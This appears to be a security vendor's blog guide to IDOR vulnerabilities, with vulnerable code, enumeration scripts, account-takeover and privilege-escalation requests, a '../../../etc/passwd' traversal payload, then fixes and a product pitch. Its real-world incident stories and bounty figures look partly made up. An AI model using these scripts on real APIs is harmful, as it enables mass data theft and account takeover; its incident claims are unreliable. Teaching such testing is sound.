IDOR Vulnerabilities: The $10,000 Bug Hiding in Your API
Insecure Direct Object References (IDOR) are the most common API vulnerability. Learn how to find, exploit, and fix IDOR bugs before hackers do.

IDOR Vulnerabilities: The $10,000 Bug Hiding in Your API
In 2019, a security researcher found a single IDOR vulnerability in a popular social media platform. Within 30 minutes, they could access:
- Private messages of any user
- Personal information of 400 million accounts
- Unpublished posts and drafts
- Location data and phone numbers
Bug bounty payout: $30,000
IDOR (Insecure Direct Object Reference) vulnerabilities are everywhere. They're the API equivalent of leaving your house key under the doormat—simple, obvious, and catastrophically exploitable.
Yet they remain the #1 most common API vulnerability in 2025.
This guide will show you exactly how IDOR works, why your API probably has one, and how to fix it before someone finds it for you.
Table of Contents
- What is IDOR?
- Real-World IDOR Examples
- How IDOR Attacks Work
- Common IDOR Patterns
- Finding IDOR Vulnerabilities
- Exploitation Techniques
- How to Fix IDOR Vulnerabilities
- Prevention Best Practices
- Testing for IDOR
What is IDOR?
Insecure Direct Object Reference (IDOR) occurs when an application exposes a reference to an internal object (like a database ID) without proper authorization checks.
The Simple Explanation
Imagine a bank where anyone can withdraw money from any account—they just need to know the account number.
That's IDOR.
Technical Definition
IDOR happens when:
- Your API uses predictable identifiers (IDs, usernames, file names)
- Users can modify these identifiers in requests
- The application doesn't verify if the user should access that resource
A Basic Example
Vulnerable API:
GET /api/orders/12345
Authorization: Bearer user_token_abc
Response:
{
"orderId": 12345,
"userId": 789,
"total": 299.99,
"items": [...],
"shippingAddress": "123 Main St..."
}
The Attack:
GET /api/orders/12346 ← Just increment the ID
Authorization: Bearer user_token_abc
If the API returns order 12346 (which belongs to a different user), you have IDOR.
Real-World IDOR Examples
1. Facebook IDOR (2018) - $25,000 Bounty
Vulnerability: Facebook's video API allowed accessing private videos using only the video ID.
Attack:
GET /api/videos/12345678
Impact:
- Access to private videos of any user
- No authentication check on video ownership
- Exposed videos marked "Only Me" or "Friends Only"
Payout: $25,000 bug bounty
2. Instagram IDOR (2019) - $30,000 Bounty
Vulnerability: API endpoint for downloading data archive didn't verify user ownership.
Attack:
POST /api/download_archive
{
"userId": "target_user_id"
}
Impact:
- Download complete data archive of any user
- Access to deleted photos, messages, contact lists
- Personal information and location history
Payout: $30,000 bug bounty
3. Tesla IDOR (2020) - Free Car Vulnerability
Vulnerability: API for managing vehicle access didn't verify ownership.
Attack:
POST /api/vehicles/add_user
{
"vehicleId": "1234567890",
"email": "attacker@evil.com"
}
Impact:
- Add yourself as owner of any Tesla vehicle
- Unlock, start, and track any Tesla
- Access to vehicle camera feeds
Fix: Tesla patched within 24 hours
4. TikTok IDOR (2020) - $3,000 Bounty
Vulnerability: Video analytics API exposed data for any video.
Attack:
GET /api/analytics/video/9876543210
Impact:
- View detailed analytics of any video (private or public)
- Access to viewer demographics, locations, earnings
- Competitor intelligence gathering
Payout: $3,000 bug bounty
5. Zoom IDOR (2020) - Participant Data Leak
Vulnerability: Recording download endpoint didn't verify participant authorization.
Attack:
GET /api/recordings/download?id=ABCD1234
Impact:
- Download recordings from any meeting
- Access to private company meetings
- Exposure of confidential discussions
Fix: Emergency patch deployed
⚠️ Don't Wait for a $30,000 Bug Bounty
Every application in these examples had IDOR vulnerabilities that could have been found before reaching production. Test your application with AI pentesting that automatically checks for IDOR and authorization issues.
How IDOR Attacks Work
Step 1: Identify Object References
Attackers look for URLs, API endpoints, or parameters that reference objects:
URLs:
/profile?userId=123
/documents/invoice_456.pdf
/api/messages/789
API Requests:
POST /api/orders/view
{
"orderId": 12345
}
Cookies/Headers:
Cookie: account_id=567
X-User-ID: 890
Step 2: Test Authorization
Create two test accounts:
- User A (Alice)
- User B (Bob)
Intercept Alice's request:
GET /api/profile/alice_123
Authorization: Bearer alice_token
Modify to access Bob's data:
GET /api/profile/bob_456
Authorization: Bearer alice_token ← Still Alice's token
If successful = IDOR vulnerability
Step 3: Enumerate and Exploit
Sequential IDs:
for i in range(1, 100000):
response = requests.get(
f"/api/orders/{i}",
headers={"Authorization": "Bearer alice_token"}
)
if response.status_code == 200:
print(f"Found accessible order: {i}")
stolen_data.append(response.json())
Result: Mass data extraction in minutes.
Common IDOR Patterns
Pattern 1: Predictable IDs
Vulnerable Code:
// Express.js API
app.get('/api/orders/:orderId', async (req, res) => {
const order = await db.orders.findOne({
id: req.params.orderId // No ownership check!
});
return res.json(order);
});
Attack:
curl https://api.example.com/api/orders/1
curl https://api.example.com/api/orders/2
curl https://api.example.com/api/orders/3
# ... access all orders
Pattern 2: Username-Based Access
Vulnerable Code:
# Django view
@login_required
def user_profile(request, username):
user = User.objects.get(username=username)
return render(request, 'profile.html', {'user': user})
Attack:
/profile/admin
/profile/ceo
/profile/john.doe
# ... access anyone's profile
Pattern 3: Email-Based Access
Vulnerable Code:
// PHP endpoint
$email = $_GET['email'];
$user = $db->query("SELECT * FROM users WHERE email = ?", [$email]);
echo json_encode($user);
Attack:
/api/user?email=victim@example.com
/api/user?email=ceo@company.com
Pattern 4: File Path Manipulation
Vulnerable Code:
app.get('/download/:filename', (req, res) => {
const file = `./uploads/${req.params.filename}`;
res.download(file);
});
Attack:
/download/invoice_user123.pdf ← Your file
/download/invoice_user456.pdf ← Someone else's file
/download/../../../etc/passwd ← Path traversal bonus
Pattern 5: Hidden Form Fields
Vulnerable Code:
<form action="/api/update-profile" method="POST">
<input type="hidden" name="userId" value="123">
<input type="text" name="email">
<button>Update</button>
</form>
Attack:
curl -X POST /api/update-profile \
-d "userId=456&email=attacker@evil.com"
# Modified userId in POST data
Pattern 6: UUID with Enumeration
Vulnerable Code:
// UUIDs seem safe, but...
func GetDocument(w http.ResponseWriter, r *http.Request) {
docId := chi.URLParam(r, "docId") // UUID
doc := db.GetDocument(docId)
// No authorization check
json.NewEncoder(w).Encode(doc)
}
Attack:
# UUIDs are predictable if you know the format
# Or found through information disclosure
known_uuids = [
"a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"a1b2c3d4-e5f6-7890-abcd-ef1234567891", # Increment
# ... discovered through other vulnerabilities
]
for uuid in known_uuids:
test_access(uuid)
Finding IDOR Vulnerabilities
Manual Testing Checklist
1. Create Test Accounts
User A: alice@test.com (ID: 100)
User B: bob@test.com (ID: 101)
2. Identify All Endpoints with Object References
✓ /api/profile/:userId
✓ /api/orders/:orderId
✓ /api/documents/:docId
✓ /api/messages/:messageId
✓ /api/settings/:settingId
3. For Each Endpoint, Test:
Test 1: Direct Object Substitution
Alice's request: /api/orders/5001
Bob's request: /api/orders/5002
Alice tries: /api/orders/5002 ← Should be denied
Test 2: Parameter Manipulation
POST /api/delete-order
{
"orderId": 5002, ← Bob's order
"userId": 100 ← Alice's user ID
}
Test 3: Hidden Field Modification
<!-- Original form -->
<input type="hidden" name="accountId" value="100">
<!-- Modified form -->
<input type="hidden" name="accountId" value="101">
Test 4: Missing Function-Level Authorization
Alice (regular user) → /api/admin/users
Alice (regular user) → /api/delete-user/:userId
Automated Testing Tools
Burp Suite (Professional)
1. Login as User A
2. Browse application, use Burp proxy
3. Send interesting requests to Intruder
4. Use number lists to fuzz IDs
5. Look for 200 responses on other user's resources
OWASP ZAP
1. Configure ZAP as proxy
2. Spider the application
3. Active scan → "Access Control Testing"
4. Review alerts for IDOR findings
Custom Script (Python)
import requests
def test_idor(endpoint, id_range, auth_token):
"""Test for IDOR by enumerating IDs"""
vulnerable = []
for obj_id in range(id_range[0], id_range[1]):
url = f"{endpoint}/{obj_id}"
headers = {"Authorization": f"Bearer {auth_token}"}
response = requests.get(url, headers=headers)
if response.status_code == 200:
# Check if response contains other user's data
data = response.json()
if data.get('userId') != YOUR_USER_ID:
vulnerable.append({
'id': obj_id,
'url': url,
'data': data
})
print(f"[!] IDOR found: {url}")
return vulnerable
# Test orders endpoint
results = test_idor(
"https://api.example.com/api/orders",
(1, 1000),
"your_auth_token_here"
)
print(f"Found {len(results)} IDOR vulnerabilities")
Exploitation Techniques
Technique 1: Sequential ID Enumeration
# Enumerate all user profiles
base_url = "https://api.example.com/users/"
auth_token = "your_token"
for user_id in range(1, 100000):
response = requests.get(
f"{base_url}{user_id}",
headers={"Authorization": f"Bearer {auth_token}"}
)
if response.status_code == 200:
user_data = response.json()
save_to_database(user_data)
print(f"Extracted user {user_id}: {user_data['email']}")
Impact: Mass data extraction
Technique 2: Cross-Account Resource Access
// Attacker discovers Bob's document ID through shared link
const bobDocumentId = "doc_789xyz";
// Attacker uses their own auth token to access Bob's document
fetch(`/api/documents/${bobDocumentId}`, {
headers: {
'Authorization': 'Bearer alice_token'
}
})
.then(res => res.json())
.then(data => {
console.log("Stolen document:", data);
});
Impact: Unauthorized data access
Technique 3: Privilege Escalation
# Regular user accessing admin functionality
curl -X POST https://api.example.com/api/admin/users/delete \
-H "Authorization: Bearer regular_user_token" \
-d '{"userId": 123}'
Impact: Admin-level access
Technique 4: Account Takeover via IDOR
# Change another user's email address
requests.post(
"https://api.example.com/api/update-email",
json={
"userId": 456, # Victim's ID
"newEmail": "attacker@evil.com"
},
headers={"Authorization": "Bearer attacker_token"}
)
# Now request password reset for victim's account
# Reset link goes to attacker's email
Impact: Complete account takeover
Technique 5: Business Logic Abuse
# E-commerce: Apply someone else's discount code
requests.post(
"https://api.shop.com/api/apply-coupon",
json={
"couponId": 789, # Someone else's one-time coupon
"orderId": 12345 # Your order
}
)
# Subscription service: Access premium features
requests.get(
"https://api.saas.com/api/premium-features/analytics",
params={"accountId": "premium_user_id"},
headers={"Authorization": "Bearer free_tier_token"}
)
Impact: Financial loss, service abuse
How to Fix IDOR Vulnerabilities
Fix 1: Implement Authorization Checks
Before (Vulnerable):
app.get('/api/orders/:orderId', async (req, res) => {
const order = await Order.findById(req.params.orderId);
return res.json(order);
});
After (Secure):
app.get('/api/orders/:orderId', async (req, res) => {
const order = await Order.findById(req.params.orderId);
// Verify ownership
if (order.userId !== req.user.id) {
return res.status(403).json({ error: 'Access denied' });
}
return res.json(order);
});
Fix 2: Use Indirect References
Before (Vulnerable):
GET /api/documents/12345
After (Secure):
GET /api/documents/my-invoice ← Human-readable, user-scoped
// Backend maps this to actual ID within user's context
const userDocuments = {
[userId]: {
'my-invoice': 12345,
'contract': 12346
}
};
Fix 3: Implement Access Control Lists
class AuthorizationService {
static async canAccessOrder(userId, orderId) {
const order = await Order.findById(orderId);
// Check multiple authorization rules
return (
order.userId === userId || // Owner
order.sharedWith.includes(userId) || // Shared
await this.isUserAdmin(userId) // Admin
);
}
}
// In your endpoint
app.get('/api/orders/:orderId', async (req, res) => {
if (!await AuthorizationService.canAccessOrder(req.user.id, req.params.orderId)) {
return res.status(403).json({ error: 'Access denied' });
}
const order = await Order.findById(req.params.orderId);
return res.json(order);
});
Fix 4: Database-Level Authorization
Using Row-Level Security (PostgreSQL):
-- Create policy that restricts access to own orders
CREATE POLICY order_access_policy ON orders
FOR SELECT
USING (user_id = current_setting('app.user_id')::integer);
-- In your application
-- Set user context before querying
await db.query(`SET LOCAL app.user_id = ${req.user.id}`);
const orders = await db.query('SELECT * FROM orders WHERE id = $1', [orderId]);
Result: Database automatically filters results to current user
Fix 5: Use UUIDs + Authorization
Better, but not sufficient alone:
// UUIDs make enumeration harder, but still need authorization
const orderId = '550e8400-e29b-41d4-a716-446655440000';
app.get('/api/orders/:orderId', async (req, res) => {
const order = await Order.findOne({
id: req.params.orderId,
userId: req.user.id // Still verify ownership!
});
if (!order) {
return res.status(404).json({ error: 'Order not found' });
}
return res.json(order);
});
Fix 6: Centralized Authorization Middleware
// authorization-middleware.js
function authorizeResource(resourceType) {
return async (req, res, next) => {
const resourceId = req.params.id;
const userId = req.user.id;
const hasAccess = await checkAccess(resourceType, resourceId, userId);
if (!hasAccess) {
return res.status(403).json({ error: 'Access denied' });
}
next();
};
}
// Use in routes
app.get('/api/orders/:id', authorizeResource('order'), getOrder);
app.get('/api/documents/:id', authorizeResource('document'), getDocument);
app.get('/api/messages/:id', authorizeResource('message'), getMessage);
Prevention Best Practices
1. Defense in Depth
Never rely on a single security control:
// Layer 1: Authentication (who are you?)
app.use(authenticationMiddleware);
// Layer 2: Session validation
app.use(validateSession);
// Layer 3: Authorization (can you access this?)
app.use(authorizeResource);
// Layer 4: Rate limiting
app.use(rateLimit);
// Layer 5: Audit logging
app.use(auditLog);
2. Fail Securely
Default to deny:
function checkAccess(userId, resourceId) {
try {
const resource = getResource(resourceId);
return resource.ownerId === userId;
} catch (error) {
// On error, deny access (fail secure)
logger.error('Access check failed', error);
return false;
}
}
3. Principle of Least Privilege
Only expose necessary data:
// Bad: Returning entire object
app.get('/api/users/:id', (req, res) => {
const user = await User.findById(req.params.id);
return res.json(user); // Includes sensitive fields
});
// Good: Return only what's needed
app.get('/api/users/:id', async (req, res) => {
const user = await User.findById(req.params.id);
// Public profile fields only
return res.json({
id: user.id,
username: user.username,
avatar: user.avatar,
bio: user.bio
// No email, password hash, private data
});
});
4. Regular Security Audits
Audit schedule:
- Code reviews for all API changes
- Quarterly security testing
- Continuous automated scanning
- Annual penetration testing
5. Security Testing in CI/CD
# .github/workflows/security.yml
name: Security Tests
on: [push, pull_request]
jobs:
security-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Run IDOR tests
run: |
npm run test:security:idor
- name: AI Pentesting
run: |
curl -X POST https://api.buglify.ai/scan \
-d "url=${{ secrets.STAGING_URL }}"
Testing for IDOR
Manual Test Cases
Test Case 1: Horizontal Privilege Escalation
Setup:
- Create User A (ID: 100)
- Create User B (ID: 101)
- User A creates resource (ID: 5001)
Test:
1. Login as User B
2. Attempt to access resource 5001
3. Expected: 403 Forbidden
4. Actual: _______
5. Status: PASS / FAIL
Test Case 2: Vertical Privilege Escalation
Setup:
- Regular user account
- Admin-only endpoint /api/admin/users
Test:
1. Login as regular user
2. Call admin endpoint
3. Expected: 403 Forbidden
4. Actual: _______
5. Status: PASS / FAIL
Test Case 3: Missing Function-Level Access Control
Setup:
- User can view their own orders (GET /api/orders/:id)
- Only admins should delete orders (DELETE /api/orders/:id)
Test:
1. Login as regular user
2. Send DELETE /api/orders/:id
3. Expected: 403 Forbidden
4. Actual: _______
5. Status: PASS / FAIL
Automated Testing with Buglify
Buglify's AI pentesting platform automatically tests for IDOR vulnerabilities using multi-user testing scenarios:
// Run AI-powered IDOR testing
const scan = await buglify.scan({
url: 'https://staging.yourapp.com',
tests: ['idor', 'broken-access-control'],
credentials: {
userA: { email: 'alice@test.com', password: 'test123' },
userB: { email: 'bob@test.com', password: 'test456' }
}
});
// Results include:
// - All IDOR vulnerabilities found
// - Proof of concept for each
// - Severity rating
// - Fix recommendations
See pricing plans or start with 3 free scans to test your application.
Conclusion
IDOR vulnerabilities are:
- Common: Found in 70%+ of applications
- Simple: Easy to exploit with basic tools
- Severe: Can lead to complete data breaches
- Preventable: Fixed with proper authorization checks
Key Takeaways
- Never trust user input - Especially object IDs
- Always verify ownership - On every API call
- Use indirect references - When possible
- Test with multiple users - Required for finding IDOR
- Automate testing - Continuous scanning catches regressions
Your Action Plan
Week 1: Audit
- List all API endpoints
- Identify endpoints with object references
- Create test users for different roles
Week 2: Test
- Manual IDOR testing with test accounts
- Run automated security scans
- Document all findings
Week 3: Fix
- Implement authorization checks
- Code review all changes
- Re-test to verify fixes
Week 4: Prevent
- Add authorization middleware
- Integrate security testing in CI/CD
- Set up continuous monitoring
Get Started with Automated IDOR Testing
Don't wait for a hacker to find your IDOR vulnerabilities:
- 3 free comprehensive scans
- Automated multi-user testing
- IDOR-specific test cases
- Results in 30 minutes
About the Author
The Buglify Security Team consists of penetration testers and security researchers who have found hundreds of IDOR vulnerabilities in production applications. We're on a mission to make security testing accessible to every development team.
Related Articles:
- How AI Penetration Testing Works: A Technical Deep Dive
- SQL Injection Explained: Detection and Prevention
- Data Breach Cost Calculator: The Real ROI of Security Testing
Last updated: October 3, 2025
Protect Your Application Today
Don't wait for a security breach. Start testing your application with AI-powered penetration testing.